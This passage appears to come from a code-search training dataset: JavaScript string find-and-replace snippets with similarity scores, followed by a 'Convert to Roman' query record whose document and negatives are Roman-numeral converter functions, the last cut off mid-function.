https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions\n let replace = $( \"#replace\" ).val(); //The text it will be replaced with.\n\n let allReplace = new RegExp( find, \"g\" ); //The RegExp object will remove all the text found.\n let oneReplace = new RegExp( find ); //It will only replace once.\n\n if ( $( \"#replaceAll\" ).is( ':checked' ) ) { //Checking if the option for Replace is checked\n var replacedText = text.replace( allReplace, replace );\n //Variables declared by let dosen't works inside because it is limited to block code.\n } else {\n var replacedText = text.replace( oneReplace, replace );\n }\n\n $( \"#inputLabel\" ).html( \"Output:\" );\n $( \"#inputText\" ).val( replacedText );\n\n}", "function findTextToReplace(){\n\tvar text = document.getElementById('replaceTextToFind').value;\n\tif(text == \"\"){\n\t\talert(\"Please enter something to search for!\");\n\t\treturn;\n\t}\n\t\n\tvar matchCase = document.replaceForm.findMatchCase.checked;\n\t\n\tvar result;\n\tif(document.replaceForm.findType[0].checked){ // Search up\n\t\tresult = XPODoc.document.findPrev(text, matchCase);\n\t}\n\telse if(document.replaceForm.findType[1].checked){ // Search down\n\t\tresult = XPODoc.document.findNext(text, matchCase);\n\t}\t\n\t\n\tif(result != false){\n\t\tgotoPosition(result.lineID, result.startIndex);\n\t}\n\telse{\n\t\talert(\"Reached the end of the document.\");\n\t}\n}", "function ReplaceAll(Source,stringToFind,stringToReplace){\n var temp = Source;\n var index = temp.indexOf(stringToFind);\n while(index != -1){\n temp = temp.replace(stringToFind,stringToReplace);\n index = temp.indexOf(stringToFind);\n }\n return temp;\n}", "function modernDictionaryTranslate(texto)\n{ \n\nvar smiley = /\\:\\)/gi;\nvar happy = /\\:D/gi;\nvar sad = /\\:\\(/gi;\nvar reallyHappy = /\\=D/gi;\n if(language==0)\n {\n texto=texto.replace(/\\bpz\\b/gi,\"pues\");\n texto=texto.replace(/\\bk\\b/gi,\"que\");\n texto=texto.replace(/\\bgad\\b/gi,\"Gracias a dios\");\n texto=texto.replace(/\\bntc\\b/gi,\"No te creas\");\n texto=texto.replace(/\\bbn\\b/gi,\"bien\");\n texto=texto.replace(/\\btmb\\b/gi,\"tambien\");\n texto=texto.replace(/\\bhm*\\b/gi,\"no me convences\");\n texto=texto.replace(/\\bvd\\b/gi,\"verdad\");\n // texto=texto.replace(/\\b[ha,he]+\\b/gi,\"jajaja\"); this one is failing when it finds an \"a\" alone, it replaces the \"a\" with the \"jajaja\"\n texto=texto.replace(smiley,\"estoy feliz\");\n texto=texto.replace(happy,\"estoy sonriendo,\");\n texto=texto.replace(sad,\"estoy triste,\");\n texto=texto.replace(reallyHappy,\"estoy muy feliz,\");\n \n }\n else if(language==1)\n {\n texto=texto.replace(/\\blmfao\\b/gi,\"laughing my fucking ass off\");\n texto=texto.replace(/\\bk\\b/gi,\"que\");\n texto=texto.replace(/\\bya\\b/gi,\"you\");\n texto=texto.replace(smiley,\"I feel happy\");\n texto=texto.replace(happy,\"I am smiling,\");\n texto=texto.replace(sad,\"I feel sad,\");\n texto=texto.replace(reallyHappy,\"I feel really happy,\");\n }\n texto=texto.replace(/\\bxD\\b/gi,\"me muero de risa\");\n texto=texto.replace(/\\b=D\\b/gi,\"estoy felíz\");\n texto=texto.replace(/\\b:D\\b/gi,\"sonrío\");\n\n\n return texto;\n}", "function repWord(str)\n{\n let newStr = str.replace(\"Easton\", \"Edderkop\");\n console.log(newStr + \" (The change occured at index: \" + (newStr.indexOf(\"Edderkop\") + \")\" + \" (The last index of 'e' is: \" + (newStr.lastIndexOf(\"e\")) + \")\"));\n}", "function spiffingReplaceAll(str, find, replace) {\n return str.replace(new RegExp(find, 'g'), replace);\n}", "function findAndReplace(string, target, replacement) {\r\n var i = 0,\r\n length = string.length;\r\n\r\n for (i; i < length; i++) {\r\n string = string.replace(target, replacement);\r\n }\r\n\r\n return string;\r\n}", "function searchWord(word, str) {\n let pattern = new RegExp(`\\\\b${word}\\\\b`, 'gi'); // match whole words only\n return str.replace(pattern, `**${word.toUpperCase()}**`);\n}", "replace(newWord) {\n if (this.word !== newWord) {\n this.word = newWord;\n this.changed = true;\n }\n }", "replace(text, replacement) {\n const m = this.matches(text);\n\n // if no matches, then nothing to replace\n if (m.length == 0)\n return text;\n\n const subs = [];\n let lastEnd = 0;\n\n for (let i = 0; i < m.length; i++) {\n // get substring from last match's ending up to this match's start\n subs.push(text.substring(lastEnd, m[i].begin));\n\n lastEnd = m[i].end;\n\n if (i == m.length - 1) {\n // handle last substring\n subs.push(text.substring(m[i].end));\n }\n }\n\n return subs.join(replacement);\n }", "function replaceAll(string, find, replacement) {\n return string.replace(new RegExp(find.replace(/[-/\\\\^$*+?.()|[\\]{}]/g, '\\\\$&'), 'g'), replacement);\n }", "function di_ReplaceAll(txt, replace, with_this) {\n return txt.replace(new RegExp(replace, 'g'), with_this);\n}", "function replaceAll(find, replace, str) {\n return str.replace(new RegExp(find, \"g\"), replace);\n}", "function checkReplaceWordArray(passedWordArray) {\n\n// 1) Makes a temporary array to hold the new spanish phrase\n// 2) Cycles through each element in the passed English array\n// 3) Cycles through each key in the Spanish Language Lexicon\n// 4) Checks to see if the current English Array element equals the current Spanish Lexicon Key if there is a \n// match... if so, it puts the Spanish equivalent from the object into a temporary variable.\n// a) the english word gets checked to see if it's all caps, if so, its replaced with the spanish word in all caps\n// b) the english word gets checked to see if first letter's capped, if so, its replaced with the spanish word \n// with its first letter capped.\n// c) if the english word is all lowercase it is replaced with proper lower case spanish word\n// d) if a, b, and c fail then the word isn't in the lexicon and is passed as-is\n// 5) The array is joined and then returned to the original caller.\n var translatedSpanishArray = [];\n\n passedWordArray.forEach(function(englishWord) {\n var xCounter = 0;\n\n for (var key in spanishLexicon) {\n if (englishWord.toLowerCase().includes(key)) {\n if (englishWord.includes(key.toUpperCase())) {\n translatedSpanishArray.push(translateAllUpperCase(englishWord, key, spanishLexicon[key]));\n break;\n } else if (englishWord[0].includes(key[0].toUpperCase())) {\n translatedSpanishArray.push(translateFirstCharUpperCase(englishWord, key, spanishLexicon[key]));\n break;\n } else if (englishWord.toLowerCase().includes(key)) {\n translatedSpanishArray.push(englishWord.toLowerCase().replace(key, spanishLexicon[key]));\n break;\n };\n } else if (xCounter === (Object.keys(spanishLexicon).length - 1)) {\n translatedSpanishArray.push(englishWord);\n };\n xCounter++;\n };\n });\n\n var translatedSpanishString = translatedSpanishArray.join(\" \");\n return translatedSpanishString;\n }", "function findAndReplace(searchText, replacement, searchNode) {\n if (!searchText || typeof replacement === 'undefined') {\n // Throw error here if you want...\n return;\n }\n var regex = typeof searchText === 'string' ?\n new RegExp(searchText, 'g') : searchText,\n childNodes = (searchNode || document.body).childNodes,\n cnLength = childNodes.length,\n excludes = 'html,head,style,title,link,meta,script,object,iframe';\n while (cnLength--) {\n var currentNode = childNodes[cnLength];\n if (currentNode.nodeType === 1 &&\n (excludes + ',').indexOf(currentNode.nodeName.toLowerCase() + ',') === -1) {\n arguments.callee(searchText, replacement, currentNode);\n }\n if (currentNode.nodeType !== 3 || !regex.test(currentNode.data) ) {\n continue;\n }\n var parent = currentNode.parentNode,\n frag = (function(){\n var html = currentNode.data.replace(regex, replacement),\n wrap = document.createElement('div'),\n frag = document.createDocumentFragment();\n wrap.innerHTML = html;\n while (wrap.firstChild) {\n frag.appendChild(wrap.firstChild);\n }\n return frag;\n })();\n parent.insertBefore(frag, currentNode);\n parent.removeChild(currentNode);\n }\n}", "findAndReplace(string, target, replacement) {\n for (var i = 0; i < string.length; i++) {\n var s = string.replace(target, replacement);\n };\n return s;\n}", "function replace4(haystack, needle, replacement){\n const exp = new RegExp(`\\\\b${ needle }\\\\b`, 'g');\n\n return haystack.replace(exp, replacement);\n}", "function replaceAll(str, find, replace) {\n \treturn str.replace(new RegExp(find, 'g'), replace);\n}", "function fruitChange(speech) {\n if (typeof speech !== 'string') return \"Strawberry\";\n \n speech = speech.replace('strawberry', 'banana');\n speech = speech.replace('Strawberries', 'Bananas');\n speech = speech.replace('strawberries', 'bananas');\n speech = speech.replace('Strawberry', 'Banana');\n return speech; \n}", "function replaceIt(stringA, toReplace, replaceMent) {\n\t\t\treturn stringA.split(toReplace).join(replaceMent || \"\");\n\t\t}", "function changeCase() {\n let text = 'This IS a Sample TeXt';\n var newtext = \"\";\n for(var i = 0; i<text.length; i++){\n if(text[i] === text[i].toLowerCase()){\n newtext += text[i].toUpperCase();\n }else {\n newtext += text[i].toLowerCase();\n }\n }\n return newtext;\n}", "function fix(){\n var str1 = document.getElementById(\"change\").innerHTML;\n var rep1 = str1.replace(/strawberries/gi, \" bananas \").replace(/strawberry/gi,\"banana\");\n document.getElementById(\"change\").innerHTML = rep1;\n }", "function advancedReplace(editor, originalText, filterText, replaceText) {\n var replacedText = \"\";\n\n // split the filter text on \"?\"\n var questionSplitted = filterText.split(\"?\");\n if(questionSplitted.length != 2){\n return false;\n }\n var allSplit = [];\n var startPos = 2; // ugly hack to fix a bug in the simplest way\n\n var beforeSplit = originalText.split(questionSplitted[0]); // split on what comes before \"?\"\n for(var i = 0; i < beforeSplit.length; i++){\n if(beforeSplit[i] == \"\"){\n startPos = 0;\n continue;\n }\n afterSplit = beforeSplit[i].split(questionSplitted[1]);\n if(afterSplit[0] != \"\"){\n allSplit.push(afterSplit[0]);\n }\n if(afterSplit[1] != \"\"){\n allSplit.push(afterSplit[1]);\n }\n }\n\n // replace and slap before/after around whatever is in\n // positions i % 2 == 0\n for(var i = startPos; i < allSplit.length; i++){\n if((i % 2) == 0){\n allSplit[i] = questionSplitted[0] + replaceText + questionSplitted[1];\n }\n }\n\n replacedText = allSplit.join(\"\");\n\n editor.insertText(replacedText);\n return true;\n}", "function myReplace(str, before, after) {\r\n var arr = [];\r\n arr = str.split(\" \");\r\n \r\n for(var i = 0; i < arr.length; i++){\r\n if(arr[i]===before){\r\n if(arr[i].charCodeAt(0) <= 90){\r\n var up = after.substr(0,1).toUpperCase();\r\n var rest = after.substr(1);\r\n after = up+rest;\r\n arr[i] = after;\r\n }\r\n else{\r\n arr[i] = after;\r\n }\r\n }\r\n }\r\n str = arr.join(\" \");\r\n return str;\r\n}", "function toonify(accent, sentence) {\n if(accent === 'daffy') {\n return sentence.replace(/s/g, 'th');\n } else if(accent === 'elmer') {\n return sentence.replace(/r/g, 'w');\n } else if(accent === 'porky') {\n return sentence.replace(/th/g, 'th-th-th-th');\n } else {\n return sentence;\n }\n}", "function replaceAll(source, toFind, toReplace)\n {\n var target = source;\n var index = target.indexOf(toFind);\n\n while (index != -1)\n {\n target = target.replace(toFind, toReplace);\n index = target.indexOf(toFind);\n }\n\n return target;\n }", "function replaceAll(txt, replace, with_this) {\n\treturn txt.replace(new RegExp(replace, 'g'),with_this);\n}", "function replaceAll(txt, replace, with_this) {\n\treturn txt.replace(new RegExp(replace, 'g'),with_this);\n}", "replaceWords(changes) {\n const editor = this.editor;\n const buffer = editor.buffer;\n for (const change of changes) {\n buffer.setTextInRange(change.range, change.word);\n }\n }", "function sentenceCase(str){\n\t str = toString(str);\n\n\t // Replace first char of each sentence (new line or after '.\\s+') to\n\t // UPPERCASE\n\t return lowerCase(str).replace(/(^\\w)|\\.\\s+(\\w)/gm, upperCase);\n\t }", "function replaceAll(str, find, replace) {\n return str.replace(new RegExp(find, 'g'), replace);\n}", "function replaceAll(str, find, replace) {\n return str.replace(new RegExp(find, 'g'), replace);\n}", "function replace3(haystack, needle, replacement){\n while(~haystack.indexOf(needle)){\n haystack = haystack.replace(needle, replacement)\n }\n return haystack;\n}", "function ReplaceWordBreak(original, charsBeforeBreak, replaceStr) {\n\t// Split the string into words\n\tvar words = original.split(' ');\n\t// Figure out which word break should be replaced\n\tvar charCount = 0;\n\tvar convertedStr = \"\";\n\tfor (var j = 0; j < words.length; j++) {\n\t\tcharCount += words[j].length + 1;\n\t\tconvertedStr += words[j]\n\t\tif (charCount > charsBeforeBreak) {\n\t\t\tconvertedStr += replaceStr;\n\t\t\tcharsBeforeBreak = original.length + 20;\t// Make sure we don't execute this logic again\n\t\t}\n\t\telse {\n\t\t\tconvertedStr += ' ';\n\t\t}\n\t}\n\n\tconsole.info(\"ReplaceWordBreak(): Changed: \" + original + \" to \" + convertedStr);\n\treturn convertedStr;\n}" ]
[ "0.68940485", "0.6665778", "0.6665778", "0.6665778", "0.6633484", "0.6595485", "0.65444446", "0.64789724", "0.64465934", "0.64349926", "0.6425423", "0.6424314", "0.6407887", "0.63701177", "0.6355542", "0.6355176", "0.63301355", "0.63194793", "0.63162726", "0.6263049", "0.62415403", "0.62295955", "0.6204566", "0.6191113", "0.61899114", "0.61816716", "0.61605686", "0.6138829", "0.61211824", "0.6091563", "0.6085505", "0.6076339", "0.60596997", "0.60587984", "0.60509515", "0.6045443", "0.60264105", "0.60241735", "0.60238594", "0.6022109", "0.6011563", "0.6001868", "0.5988895", "0.5978254", "0.59601825", "0.5960052", "0.5953505", "0.5937634", "0.5933194", "0.59287906", "0.59264416", "0.59142417", "0.59025866", "0.5891278", "0.5889584", "0.58277637", "0.5826564", "0.5820843", "0.58148986", "0.58014196", "0.5794161", "0.578406", "0.5778914", "0.5778914", "0.57678336", "0.5749096", "0.5711416", "0.57002056", "0.56754094", "0.5672377", "0.5667399", "0.56667614", "0.56638455", "0.5657593", "0.5657268", "0.56430066", "0.5628849", "0.56143934", "0.5606882", "0.56037444", "0.55929106", "0.5592799", "0.5525221", "0.551808", "0.55100286", "0.5501341", "0.54839253", "0.5471698", "0.5449646", "0.5447839", "0.544567", "0.54372805", "0.54367894", "0.54367894", "0.5430259", "0.5415862", "0.5415608", "0.5415608", "0.53973055", "0.5392941" ]
0.6075463
32
Convert to Roman Convert the given number into a roman numeral. All roman numerals answers should be provided in uppercase.
function convertToRoman(num) { var arr = (""+num).split(""); var length = arr.length; var one = "I"; var four = "IV"; var five = "V"; var nine = "IX"; var ten = "X"; var fourty = "XL"; var fifty = "L"; var nintey = "XC"; var oneHundred = "C"; var fourHundred = "CD"; var fiveHundred = "D"; var nineHundred = "CM"; var oneThousand = "M"; var thousands = ""; var hundreds = ""; var tens = ""; var ones = ""; function getOnes(dig) { if (dig === 0) { ones += ones; } if (dig > 0 && dig < 4) { for (var i = 1; i <= dig; i++) { ones += one; } } if (dig == 4) { ones += four; } if (dig == 5) { ones += five; } if (dig > 5 && dig < 9) { ones += five; for (var i = 1; i <= dig -5; i++) { ones += one; } } if (dig == 9) { ones += nine; } return ones; } function getTens(dig) { if (dig === 0) { tens += tens; } if (dig > 0 && dig < 4) { for (var i = 1; i <= dig; i++) { tens += ten; } } if (dig == 4) { tens += fourty; } if (dig == 5) { tens += fifty; } if (dig > 5 && dig < 9) { tens += fifty; for (var i = 1; i <= dig - 5; i++) { tens += ten; } } if (dig == 9) { tens += nintey; } } function getHundreds(dig) { if (dig === 0) { hundreds += hundreds; } if (dig > 0 && dig < 4) { for (var i = 1; i <= dig; i++) { hundreds += oneHundred; } } if (dig == 4) { hundreds += fourHundred; } if (dig == 5) { hundreds += fiveHundred; } if (dig > 5 && dig < 9) { hundreds += fiveHundred; for (var i = 1; i <= dig -5; i++) { hundreds += oneHundred; } } if (dig == 9) { hundreds += nineHundred; } return hundreds; } function getThousands(dig) { if (dig === 0) { thousands += thousands; } if (dig > 0 && dig < 4) { for (var i = 1; i <= dig; i++) { thousands += oneThousand; } } return thousands; } //chech length of number and run required functions if (length === 1) { getOnes(arr[0]); return ones; } if (length === 2) { getTens(arr[0]); getOnes(arr[1]); return tens + ones; } if (length === 3) { getHundreds(arr[0]); getTens(arr[1]); getOnes(arr[2]); return hundreds + tens + ones; } if (length === 4) { getThousands(arr[0]); getHundreds(arr[1]); getTens(arr[2]); getOnes(arr[3]); return thousands + hundreds + tens + ones; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function numToRoman(num) {\n}", "function convertToRoman(num) {\n \n}", "function convertToRoman(num) {\n var lookup = {M:1000,CM:900,D:500,CD:400,C:100,XC:90,L:50,XL:40,X:10,IX:9,V:5,IV:4,I:1},\n roman = '',\n i;\n for ( i in lookup ) {\n while ( num >= lookup[i] ) {\n roman += i;\n num -= lookup[i];\n }\n }\n return roman;\n}", "function toRoman(number) {\r\n const vals = [10, 9, 5, 4, 1];\r\n const syms = ['X', 'IX', 'V', 'IV', 'I'];\r\n roman = '';\r\n for (let i = 0; i < syms.length; i++) {\r\n while (number >= vals[i]) {\r\n number -= vals[i];\r\n roman += syms[i];\r\n }\r\n }\r\n return roman;\r\n}", "function romanize (num) {\n if (!+num)\n return false;\n var\tdigits = String(+num).split(\"\"),\n\t\tkey = [\"\",\"C\",\"CC\",\"CCC\",\"CD\",\"D\",\"DC\",\"DCC\",\"DCCC\",\"CM\",\n\t\t \"\",\"X\",\"XX\",\"XXX\",\"XL\",\"L\",\"LX\",\"LXX\",\"LXXX\",\"XC\",\n\t\t \"\",\"I\",\"II\",\"III\",\"IV\",\"V\",\"VI\",\"VII\",\"VIII\",\"IX\"],\n\t\troman = \"\",\n\t\ti = 3;\n while (i--)\n roman = (key[+digits.pop() + (i * 10)] || \"\") + roman;\n return Array(+digits.join(\"\") + 1).join(\"M\") + roman;\n}", "function convertToRoman(num) {\n const map = {\n M: 1000,\n CM: 900,\n D: 500,\n CD: 400,\n C: 100,\n XC: 90,\n L: 50,\n XL: 40,\n X: 10,\n IX: 9,\n V: 5,\n IV: 4,\n I: 1,\n };\n let result = '';\n \n // main algorithm\n \n console.log(\"result:\", result);\n return result;\n }", "function convertToRoman(num) {\n let romanLookup = [\n ['M', 'CM', 'D', 'CD', 'C', 'XC', 'L', 'XL', 'X', 'IX', 'V', 'IV', 'I'],\n [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1]\n ];\n\n let roman = '';\n for(let i = 0; i < romanLookup[0].length; i++) {\n while(num >= romanLookup[1][i]) {\n roman += romanLookup[0][i];\n num -= romanLookup[1][i];\n }\n }\n return roman;\n}", "static toRoman(num) {\n \n // Copy the input to a variable called \"int.\"\n var int = num;\n \n // Initialize empty array to hold the roman numerals that will be used in the solution.\n var convert = [];\n \n // Initialize a dictionary for all combinations of roman numerals.\n var dictionary = { \n \"M\": 1000,\n \"CM\": 900,\n \"D\": 500,\n \"CD\": 400,\n \"C\": 100,\n \"XC\": 90,\n \"L\": 50,\n \"XL\": 40,\n \"X\": 10,\n \"IX\": 9,\n \"V\": 5,\n \"IV\": 4,\n \"I\": 1\n }\n \n while (int) {\n // This for loop tries to find the largest base value from the dictionary in \"int.\"\n for (var key in dictionary) {\n if (int / dictionary[key] >= 1) {\n // Add the corresponding roman numeral of the largest base value found in \"int\" to the \"convert\" array.\n convert.push(key);\n // Now, subtract the base value from \"int.\" \n int = int - dictionary[key];\n // Exit the for loop because we want to start over again from the top of the dictionary.\n break;\n }\n }\n }\n \n // Combine the \"convert\" array into a string and return as the solution.\n return convert.join(\"\")\n }", "function convertToRoman(num) {\n var roman = \"\";\n var decimalNums = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1];\n var romanNums = ['M', 'CM', 'D', 'CD', 'C', 'XC', 'L', 'XL', 'X', 'IX', 'V', 'IV', 'I'];\n for (var i = 0; i < decimalNums.length; i++) {\n while (num >= decimalNums[i]) {\n roman += romanNums[i];\n num -= decimalNums[i];\n }\n }\n return roman;\n}", "function convertToRoman(num) {\n // Converting number into single digit: eg: 345 to 3, 4, and 5!\n var digits = []\n while (num) {\n digits.push(num % 10);\n num = Math.floor(num / 10);\n }\n\n // Multiply proper tens or hundreds or thousands to single digits. So the number breaks\n // Eg: 345 into 300, 40, and 5\n var expandedNum = [];\n var x = 1;\n for (var digit in digits) {\n expandedNum.push(digits[digit] * x)\n x *= 10;\n }\n expandedNum.reverse();\n\n // Some important base-roman dictionary values:\n var romandict = { 1000: 'M', 900: 'CM', 500: 'D', 400: 'CD', 100: 'C', 90: 'XC', 50: 'L', 40: 'XL', 10: 'X', 9: 'IX', 5: 'V', 4: 'IV', 1: 'I' }\n // Storing the integers from romandict and sorting in descending order as dictionary saves values in ascending order by default.\n var decimals = Object.keys(romandict).sort((a, b) => b - a);\n\n var romanNumber = ''\n\n for (var i in expandedNum) {\n for (var j in decimals) {\n while (decimals[j] <= expandedNum[i]) {\n romanNumber += romandict[decimals[j]];\n expandedNum[i] -= decimals[j];\n }\n }\n }\n return romanNumber\n}", "function convertToRoman() {\n let numero = prompt('Ingrese el número a convertir:');\n let original = numero;\n\n function obtenerNumero(digito, cadenaUno, cadenaDos, cadenaTres) {\n switch (true) {\n \n case digito <= 3:\n return cadenaUno.repeat(digito);\n \n case digito === 4:\n return cadenaUno + cadenaDos;\n \n case digito <= 8:\n return cadenaDos + cadenaUno.repeat(digito - 5);\n \n default:\n return cadenaUno + cadenaTres;\n }\n }\n \n let cadena = '';\n \n cadena += 'M'.repeat(Math.floor(numero/1000));\n numero %= 1000;\n \n cadena += obtenerNumero(Math.floor(numero/100), 'C', 'D', 'M')\n numero %= 100;\n \n cadena += obtenerNumero(Math.floor(numero/10), 'X', 'L', 'C')\n numero %= 10;\n \n cadena += obtenerNumero(numero, 'I', 'V', 'X')\n \n alert(`${original} en números romanos equivale a: ${cadena}.`);\n\n return cadena;\n }", "function toRoman(num) { \n var result = '';\n var decimal = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1];\n var roman = [\"M\", \"CM\",\"D\",\"CD\",\"C\", \"XC\", \"L\", \"XL\", \"X\",\"IX\",\"V\",\"IV\",\"I\"];\n for (var i = 0;i<=decimal.length;i++) {\n while (num%decimal[i] < num) { \n result += roman[i];\n num -= decimal[i];\n }\n }\n return result;\n}", "function convertToRoman(num) {\n\tconst numbers = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1];\n\tconst romanNumerals = [\n\t\t'M',\n\t\t'CM',\n\t\t'D',\n\t\t'CD',\n\t\t'C',\n\t\t'XC',\n\t\t'L',\n\t\t'XL',\n\t\t'X',\n\t\t'IX',\n\t\t'V',\n\t\t'IV',\n\t\t'I',\n\t];\n\n\tlet romanValue = '';\n\tlet regularNum = num;\n\n\tfor (let i = 0; i < numbers.length; i++) {\n\t\twhile (numbers[i] <= regularNum) {\n\t\t\tromanValue += romanNumerals[i];\n\t\t\tregularNum -= numbers[i];\n\t\t}\n\t}\n\n\treturn romanValue;\n}", "function convertToRoman(num) {\n let result = '';\n\n const decimals = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1],\n roman = ['M', 'CM', 'D', 'CD', 'C', 'XC', 'L', 'XL', 'X', 'IX', 'V', 'IV', 'I'];\n\n decimals.map(function (decimal, index) {\n while (num >= decimal) {\n result += roman[index];\n num -= decimal;\n }\n });\n\n return result;\n}", "function convertToRoman(num) {\n if (num < 1 || num > 3999)\n return undefined;\n \n let numerals = [['I','V'],['X','L'],['C','D'],['M']];\n\n let arr = num\n .toString()\n .split('')\n .map(element => parseInt(element));\n \n while (arr.length < 4)\n arr.unshift(0);\n\n arr = arr.map((element, index) => {\n let ones = numerals[3-index][0];\n let fives = numerals[3-index][1];\n if (element <= 3 && element > 0) \n return ones.repeat(element);\n if (element === 4)\n return ones + fives;\n if (element === 5)\n return fives;\n if (element > 5 && element < 9)\n return fives + ones.repeat(element - 5);\n if (element === 9)\n return ones + numerals[4-index][0];\n })\n\n return arr.join('');\n}", "getAsRoman(number) {\n let retval = '';\n this.value = number;\n retval += this.generateNumber(this.value, 1000, 'M');\n retval += this.generateNumber(this.value, 900, 'CM');\n retval += this.generateNumber(this.value, 500, 'D');\n retval += this.generateNumber(this.value, 400, 'CD');\n retval += this.generateNumber(this.value, 100, 'C');\n retval += this.generateNumber(this.value, 90, 'XC');\n retval += this.generateNumber(this.value, 50, 'L');\n retval += this.generateNumber(this.value, 40, 'XL');\n retval += this.generateNumber(this.value, 10, 'X');\n retval += this.generateNumber(this.value, 9, 'IX');\n retval += this.generateNumber(this.value, 5, 'V');\n retval += this.generateNumber(this.value, 4, 'IV');\n retval += this.generateNumber(this.value, 1, 'I');\n return retval.toString();\n }", "function convertToRoman(number) {\n var roman = [];\n var i, v, x, l, c, d, m;\n \n m = Math.floor(number / 1000); // 3\n for (var count = 0; count < m; count++) {\n roman.push(\"M\");\n }\n var mRemainder = number % 1000; // 192\n if (mRemainder >= 900) {\n roman.push(\"CM\");\n mRemainder = mRemainder - 900;\n }\n \n d = Math.floor(mRemainder / 500); // 0\n for (count = 0; count < d; count++) {\n roman.push(\"D\");\n }\n var dRemainder = mRemainder % 500; // 192\n \n c = Math.floor(dRemainder / 100); // 1\n if (c === 9) {\n roman.push(\"CM\");\n }\n else if (c === 4) {\n roman.push(\"CD\");\n }\n else {\n for (count = 0; count < c; count++) {\n roman.push(\"C\");\n }\n }\n var cRemainder = dRemainder % 100; // 92\n if (cRemainder >= 90) {\n roman.push(\"XC\");\n cRemainder = cRemainder - 90;\n }\n \n l = Math.floor(cRemainder / 50); // 1\n for (count = 0; count < l; count++) {\n roman.push(\"L\");\n }\n var lRemainder = cRemainder % 50; // 42\n \n x = Math.floor(lRemainder / 10); // 4\n if (x === 9) {\n roman.push(\"XC\");\n }\n else if (x === 4) {\n roman.push(\"XL\");\n }\n else {\n for (count = 0; count < x; count++) {\n roman.push(\"X\");\n }\n }\n var xRemainder = lRemainder % 10; // 2\n if (xRemainder === 9) {\n roman.push(\"IX\");\n xRemainder = xRemainder - 9;\n }\n \n v = Math.floor(xRemainder / 5); // 0\n for (count = 0; count < v; count++) {\n roman.push(\"V\");\n }\n var vRemainder = xRemainder % 5; // 2\n \n i = vRemainder; // 2\n if (i === 4) {\n roman.push(\"IV\");\n }\n else {\n for (count = 0; count < i; count++) {\n roman.push(\"I\");\n }\n }\n \n return roman.join(\"\");\n}", "function int_to_Roman(num) {\n // object to hold values for each roman numeral symbol\n var converter = {M:1000,CM:900,D:500,CD:400,C:100,XC:90,L:50,XL:40,X:10,IX:9,V:5,IV:4,I:1},roman = '',i;\n for ( i in converter ) {\n // if num is greater or equal to a number in the converter object\n while ( num >= converter[i] ) {\n // add the corresponding roman numeral to our growing roman numeral\n roman += i;\n // and subtract what you have added to the roman numeral from num and go thru the loop until num < converter[i]\n num -= converter[i];\n }\n }\n return roman;\n}", "function convert(num) {\n var numToConvert = num; // prevent modifying parameter\n var romanNum = ''; // create a new string to represent roman numerals\n\n // break down roman numerals into categories\n var romanNumerals = ['M', 'CM', 'D', 'CD', 'C', 'XC', 'L', 'XL', 'X', 'IX', 'V', 'IV', 'I'];\n // create numbers to coincide with romanNumerals\n var numbers = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1];\n\n for (var i = 0; i < romanNumerals.length; i++){\n //\n while (numToConvert >= numbers[i]){\n numToConvert -= numbers[i];\n romanNum += romanNumerals[i];\n }\n }\n\n return romanNum.toUpperCase();\n}", "function convertToRoman(number) {\n var data = [{\n value: 1000,\n \"char\": 'M'\n }, {\n value: 900,\n \"char\": 'CM'\n }, {\n value: 500,\n \"char\": 'D'\n }, {\n value: 400,\n \"char\": 'CD'\n }, {\n value: 100,\n \"char\": 'C'\n }, {\n value: 90,\n \"char\": 'XC'\n }, {\n value: 50,\n \"char\": 'L'\n }, {\n value: 40,\n \"char\": 'XL'\n }, {\n value: 10,\n \"char\": 'X'\n }, {\n value: 9,\n \"char\": 'IX'\n }, {\n value: 5,\n \"char\": 'V'\n }, {\n value: 4,\n \"char\": 'IV'\n }, {\n value: 1,\n \"char\": 'I'\n }];\n return data.reduce(function (result, currentValue) {\n while (number >= currentValue.value) {\n result += currentValue[\"char\"];\n number -= currentValue.value;\n }\n\n return result;\n }, '');\n}", "function convertToRoman(num) {\n let romanNums = {\n 1000: \"M\",\n 900: \"CM\",\n 500: \"D\",\n 400: \"CD\",\n 100: \"C\",\n 90: \"XC\",\n 50: \"L\",\n 40: \"XL\",\n 10: \"X\",\n 9: \"IX\",\n 5: \"V\",\n 4: \"IV\",\n 1: \"I\",\n }\n let keys = Object.keys(romanNums).reverse();\n let romanNum = \"\";\n\n keys.forEach(function(key) {\n while (key <= num) {\n romanNum += romanNums[key];\n num -= key;\n }\n });\n\n return romanNum;\n}", "function convertToRoman (num) {\n function oneToTenDigit (digit) {\n switch (digit) {\n case 0: return '';\n case 1: return 'I';\n case 2: return 'II';\n case 3: return 'III';\n case 4: return 'IV';\n case 5: return 'V';\n case 6: return 'VI';\n case 7: return 'VII';\n case 8: return 'VIII';\n case 9: return 'IX';\n default: return undefined;\n }\n }\n\n function tenDigit (digit) {\n switch (digit) {\n case 0: return '';\n case 1: return 'X';\n case 2: return 'XX';\n case 3: return 'XXX';\n case 4: return 'XL';\n case 5: return 'L';\n case 6: return 'LX';\n case 7: return 'LXX';\n case 8: return 'LXXX';\n case 9: return 'XC';\n default: return undefined;\n }\n }\n\n function centDigit (digit) {\n switch (digit) {\n case 0: return '';\n case 1: return 'C';\n case 2: return 'CC';\n case 3: return 'CCC';\n case 4: return 'CD';\n case 5: return 'D';\n case 6: return 'DC';\n case 7: return 'DCC';\n case 8: return 'DCCC';\n case 9: return 'CM';\n default: return undefined;\n }\n }\n\n function milDigit (digit) {\n if (digit === 0) {\n return '';\n }\n if (!Number.isInteger(digit)) {\n return undefined;\n }\n return 'M'.repeat(digit);\n }\n\n return milDigit(Math.floor((num % 10000) / 1000)) +\n centDigit(Math.floor((num % 1000) / 100)) +\n tenDigit(Math.floor((num % 100) / 10)) +\n oneToTenDigit(Math.floor(num % 10) / 1);\n}", "function convertToRoman(num) {\n let RomanNum= [1000,500,100,90,50,40,10,9,5,4,3,2,1];\n let RomanAlpha =['M','D','C','XC','L','XL','X','IX','V','IV','III','II','I'];\n let conver = '';\n for (let i=0; i<RomanNum.length;i++){\n 